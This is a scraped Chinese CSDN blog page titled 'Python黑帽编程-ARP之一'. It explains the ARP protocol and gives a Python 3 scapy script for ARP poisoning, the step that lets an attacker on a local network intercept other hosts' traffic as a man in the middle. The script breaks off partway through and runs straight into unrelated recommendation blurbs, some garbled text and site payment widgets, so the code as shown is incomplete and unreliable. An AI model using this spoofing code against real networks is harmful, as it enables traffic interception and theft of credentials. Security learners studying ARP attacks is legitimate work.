Python黑帽编程-ARP之一

python黑帽-第一章-实现一个TCP代理 就是再客户端和服务器中间,建立一个中间商。客户端把需要发给服务器的数据,先转发给中间商,然后中间商再转发给服务器。服务器再把响应信息发给中间商,中间商再转发给客户端。 阅读详情
前言:
在知乎上看见这篇文章,正好对网络安全也有些兴趣,于是动手实践一番。
本文作者:微寒
版权声明:转载请私信,并注明原文地址
本文地址:http://blog.csdn.net/supercooly/article/details/53956494
参考文章:https://zhuanlan.zhihu.com/p/24645819
参考文章:http://bbs.ichunqiu.com/thread-13429-1-1.html

一、ARP协议

中文名称:地址解析协议

详细背景及相关知识请参考原文及百度百科。
维基百科

地址解析协议(Address Resolution Protocol),其基本功能为透过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。它是IPv4中网络层必不可少的协议,不过在IPv6中已不再适用,并被邻居发现协议(NDP)所替代。

在以太网协议中规定,同一局域网中的一台主机要和另一台主机进行直接通信,必须要知道目标主机的MAC地址。而在TCP/IP协议中,网络层和传输层只关心目标主机的IP地址。这就导致在以太网中使用IP协议时,数据链路层的以太网协议接到上层IP协议提供的数据中,只包含目的主机的IP地址。于是需要一种方法,根据目的主机的IP地址,获得其MAC地址。这就是ARP协议要做的事情。所谓地址解析(address resolution)就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。

简而言之,在网络架构模型中,TCP/IP协议中只有IP地址,可以通过DNS协议获取。与之类似,网络层协议需要依赖更底层的数据链路层,该层转发数据包并不能识别IP地址,而是直接使用mac地址,所以就需要有个映射关系,这个就是ARP协议。我的理解是,ARP是数据链路层的“DNS”。ARP攻击就是直接定向或者广播自己的mac地址为关键的网络节点,让被攻击机器发送的数据包,发送到攻击机,从而实现中间人攻击。

我们经常听闻的在公共场合连接WIFI有可能遭遇被盗号等危害,其中的一种方式就是ARP攻击,由上面的定义可知,并不需要自己创建一个WIFI而窃取他人信息,只需要在一个局域网中即可。

二、环境

OS:macOS 10.12

Python 3.5

scapy-python3 (pip或easy-install 安装即可)

scapy还需要libnet库支撑,第四节中有详细的安装步骤。

三、Python代码

原文链接

原文是2.X的Python版本,修改为Python3.x版本如下:

#!/usr/bin/python3
import sys
from scapy.all import (
    get_if_hwaddr,
    ARP,
    Ether,
    sendp
)
from scapy.layers.l2 import (
    getmacbyip
)
from optparse import OptionParser
import os


def main():
    try:
        if os.geteuid() != 0:
            print("[-] Run me as root")
            sys.exit(1)
    except Exception as msg:
        print(msg)

    usage = 'Usage: %prog [-i interface] [-t target] host'
    parser = OptionParser(usage)
    parser.add_option('-i', dest='interface', help='Specify the interface to use')
    parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
    parser.add_option('-m', dest='mode', default='req',
                      help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
    parser.add_option('-s', action='store_true', dest='summary', default=False,
                      help='Show packet summary and ask for confirmation before poisoning')
    (options, args) = parser.parse_args()
    if len(args) != 1 or options.interface is None:
        parser.print_help()
        sys.exit(0)
    mac = get_if_hwaddr(options.interface)

    def build_req():
        if options.target is None:
            pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
        elif options.target:
            target_mac = getmacbyip(options.target)
            if target_mac is None:
                print("[-] Error: Could not resolve targets MAC address")
                sys.exit(1)
            pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac,
                                                       pdst=options.target)
        return pkt

    
XGBoost实战:从原理到调参,手把手教你提升模型性能(附Python代码) 本文深入解析XGBoost核心原理,并提供一套从数据准备、系统性调参到生产部署的完整实战指南。通过剖析目标函数、正则化项与分裂算法,帮助读者理解参数背后的数学逻辑,并利用交叉验证、早停法及自动化工具(如Optuna)高效提升模型性能。文中附有详尽的Python代码示例,涵盖类别特征处理、缺失值应对、不平衡数据调整及模型可视化等高级技巧。 阅读详情

相关推荐

如何用 Claude Code 阅读和理解陌生代码

摘要: 在接手陌生代码时,Claude Code能显著提升理解效率。核心策略是结构化拆解而非逐行阅读: 从整体入手:先扫描目录结构、定位核心模块,建立项目地图; 聚焦关键路径:通过数据流追踪、异常逻辑分析,识别技术债与风险点; 规避常见错误:避免抽象提问或一次性提交全部代码,应分模块精准提问; 高阶应用:可生成逻辑分层图、标记高复杂度区域,甚至定制阅读顺序。 最终目标是通过结构优先的提问策略,将理解周期从数天压缩至数小时。

sg_knight的专栏 984

如何成为一名黑客?Python灰帽子和黑帽子带你走进黑客世界

如何成为一名黑客?Python灰帽子和黑帽子带你走进黑客世界

python03011的博客 2630

单片机毕业设计合集(论文).zip

毕业设计__基于单片机的公交车自动报站系统基于单片机的公交车自动报站系统.docx单片机毕业设计(吐血推荐.docx单片机电子密码锁.docx单片机好学1602全过程C语言编程.docx单片机课程设计电子秤.docx单片机控制可控硅.docx单片机温度测量论文.docx单片机Keil C51和PROTEUS实验指导书.docx基于51单片机的电子时钟设计.docx基于51单片机的水质检测系统设计.docx基ý质盈存燜豢舘称鴝鱺饴釋缚讯侉揠淚波子片机的车库门禁识别系统的设计.docx基于单片机的串行通信系统设计毕业论文.docx基于单片机的即热式电热水器的设计.docx基于单片机的抢答计分课程设计.docx基于单片机的数字钟设计.docx基于单片机的特殊变频器的设计.docx基于单片机的无线抢答器的设计.docx基于单片机的浴室环境智能控制系统设计.docX基于单片机的智能台灯的设计.docx基于单片机的智能小车的设计-毕业论文.docx基于单片机的DS18B20多点测温系统LCD1602显示.docx基于单片机的WIFI智能无线开关.docx基于单片机电阻炉炉温控制系统的设计(2).docx基于单片机控制双闭环直流电机.docx基于单片机语音录放的研究.docx基于单片机GPS定位系统的设计.docx基于AT89C52单片机简易函数信号发生器设计.docx基与单片机的智能家居系统与安全性外文翻译.docx音乐播放器-单片机课程设计.docx....

1.python黑帽-基础的网络编程工具

学习python黑帽子笔记

weixin_44382333的博客 623

阅读心得《python黑帽子黑客与渗透测试编程之道(第二版)》——设置你的python环境

本文在整理这本书第一章内容的同时,将书中的内容又进行了详解,和提出了自己在实际操作之后自己的小心得。第一章介绍要配置的环境,先是更新Kali,在配置新的python虚拟环境,最后安装IDE。书中都有相应的内容,我仅是将内容进行了解释。但写出了自己的心得,仅此而已。

转瞬都有的博客 2461

Python黑帽

我最近在看《Python黑帽子》由于这本书的已经是七八年前,所以书里的程序,用Python 3.x编译,够呛能运行 所以还是建议把Path改成Python2.7的,我用的Wing pro 8IDE。 改成默认的2.7,就可以运行书里的程序了。 快速创建TCP和UDP服务器及客户端,使用原始套接字 TCP客户端 因为TCP套接字是面向连接的,因此又称为基于流(stream)的套接字。TCP是Transmission Control Protocol(传输控制协议)的简写,意为“对数据传输过.

pplpkoopk的博客 1万+

python黑帽子(黑客与渗透测试编程之道)

近期收到了电子工业出版社赠送的一本网络安全书籍《python黑帽子》,书中一共大约24个实验,今天复现完了(实际上不止24个,我偷懒了只复现24个)。时间匆匆,真的来不及细细品读,仅以本文概述一下自己的学习感受,书上的所有代码可以在作者的网站[1]上下载,如果你比较懒的话,可以直接复制粘贴代码,然而我是手敲的,说明我是不懒的哟,程序员耗才也,唯手熟尔,要抓住核心思想,非常感谢本书的翻译 @Gh0u...

ailx10 1万+

Python黑帽编程 3.2 ARP监控

在第3.1节《ARP欺骗》中,我们学习了ARP的基本原理,使用Python实现了我们自己的ARP欺骗工具。在上一节的基础上,我们来实现一个ARP监控程序,该程序存储局域网中所有的IP和MAC对应关系,如果有新加入的机器会动态添加到列表中,如果有机器的ARP记录发生了变化,会发出警告。 实现这个程序的关键,只有一点,就是监听网络中ARP数据包。Scapy中的sniff方法可以满足我们对ARP监听的需求。

玄魂工作室 2615

python3黑帽编程_Python黑帽编程 3.2 ARP监控

Python黑帽编程 3.2 ARP监控在第3.1节中,我们学习了ARP的基本原理,使用Python实现了我们自己的ARP欺骗工具。在上一节的基础上,我们来实现一个ARP监控程序,该程序存储局域网中所有的IP和MAC对应关系,如果有新加入的机器会动态添加到列表中,如果有机器的ARP记录发生了变化,会发出警告。实现这个程序的关键,只有一点,就是监听网络中ARP数据包。Scapy中的sniff方法可以...

weixin_39592026的博客 209

python黑帽编程视频_Python黑帽编程 3.2 ARP监控

Python黑帽编程 3.2 ARP监控在第3.1节《ARP欺骗》中,我们学习了ARP的基本原理,使用Python实现了我们自己的ARP欺骗工具。在上一节的基础上,我们来实现一个ARP监控程序,该程序存储局域网中所有的IP和MAC对应关系,如果有新加入的机器会动态添加到列表中,如果有机器的ARP记录发生了变化,会发出警告。实现这个程序的关键,只有一点,就是监听网络中ARP数据包。Scapy中的sn...

weixin_39612896的博客 204

Python黑帽编程 3.1 ARP欺骗

Python灰帽编程3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据监听、篡改、重放、钓鱼等攻击方式。 在进行ARP欺骗的编码实验之前,我们有必要了解下ARPARP欺骗的原理。 3.1.1 ARPARP欺骗原理...

weixin_34347651的博客 197

Python爬虫】报错解决:UnicodeEncodeError: ‘latin-1‘ codec can‘t encode characters in position 531-532: ordi

00.背景 cookie太长了?或者是其他原因....所以有些字符可能程序不识别。 解决方法就是,把cookie转成utf-8即可。 01.报错问题 File "D:\anaconda\envs\douban_flask\lib\http\client.py", line 1225, in putheader values[i] = one_value.encode('latin-1') UnicodeEncodeError: 'latin-1' codec can't encod...

weixin_34200157的博客 5131

python黑帽子】——(一)搭建扫描器入门介绍

白帽子渗透测试python编程

Demo不是emo的博客 1万+

Python黑帽子开篇

这段时间对信息安全产生浓厚的兴趣,于是乎开始搜索相关资料进行学习。这段时间看了《黑客攻防技术宝典WEB实战篇》和《白帽子讲WEB安全》的前几章。对于《黑客攻防》一书,我在阅读过程中发现其侧重软件工具介绍,这对喜欢追究原理的我来说十分苦恼,所以准备暂时放置。而《白帽子讲WEB安全》一书开始的门槛较高,而且似乎动手实践的就不够多,这样子也让我很不适。最终,我找到了《Python黑帽子开篇》,这本书一方

samohyes的博客 1042

网络请求报错问题 UnicodeEncodeError: ‘latin-1‘ codec can‘t encode characters in position 38-39

现象描述: 最近写的一份代码,在自己电脑环境下跑的好好的,但是部署到了linux就报了此错误。 详细报错如下: File "/usr/local/python3/lib/python3.9/site-packages/bi_slave-3.0-py3.9.egg/bi_slave/common/http_sync.py", line 145, in __call__ resp = self.send_request() File "/usr/local/python3/lib/pyth

it_is_arlon的博客 2229

第二章读书笔记 --python黑帽子:黑客与渗透测试编程之道》

"," "里面的内容是我输入的)"是客户端输出的,因为服务器接收到数据后进行了.upper()操作后返回到了客户端。客户端:输入“python bhpbet.py -t localhost -p 8888”(“ ”里面的内容),按下ENTER回车键;服务器:输入“python bhpnet.py -l -p 8888 -c”(“ ”里面的内容)接着输入“ls -la”(“ ”里面的内容),,按下ENTER回车键。TCP客户端(TCPClient.py)+TCP服务器(TCPServer.py)

m0_70255358的博客 1643

UnicodeEncodeError: ‘latin-1‘ codec can‘t encode characters in position

python3 报错: File "D:\Program Files (x86)\python\lib\http\client.py", line 1230, in putheader values[i] = one_value.encode('latin-1') UnicodeEncodeError: 'latin-1' codec can't encode characters in position 164-172: ordinal not in range(256) 查看D:\Prog

一条大河 6387

Python黑帽子:黑客与渗透测试编程之道 windows系统提取

首先编写进程监视器 首先介绍一下pywin32 Python extensions for Microsoft Windows Provides access to much of the Win32 API, the ability to create and use COM objects, and the Pythonwin environment. 再介绍一下wmi,wmi主要用于 ...

小傅 1121

黑帽Python——基础的网络编程工具——取代netcat

最终没有运行成功😭,应该是可以成功监听端口的,但是以客户端方式运行脚本的时候,在命令行中无论是输入EOF还是按ctrl+D都没有反应没有书中的效果。Google和百度了,找到了源码中的错误,但是改了之后依然输入EOF没有反应。Debug了好几天,放弃了,毕竟只是储备量不足实在不知道哪里出了问题。

qq_52263650的博客 505

python requests报错UnicodeEncodeError: ‘latin-1‘ codec can‘t encode charact

values = list(values) for i, one_value in enumerate(values): if hasattr(one_value, 'encode'): #values[i] = one_value.encode('latin-1') values[i] = one_value.encode('utf-8') elif isinstance(one_value, int): ...

da_yu_yan_jia的博客 2423
上一篇: 浏览器内容编码错误-JSP
下一篇: Nginx error code 54: Connection reset by peer
微寒Super
博客等级 码龄14年 22粉丝 38原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值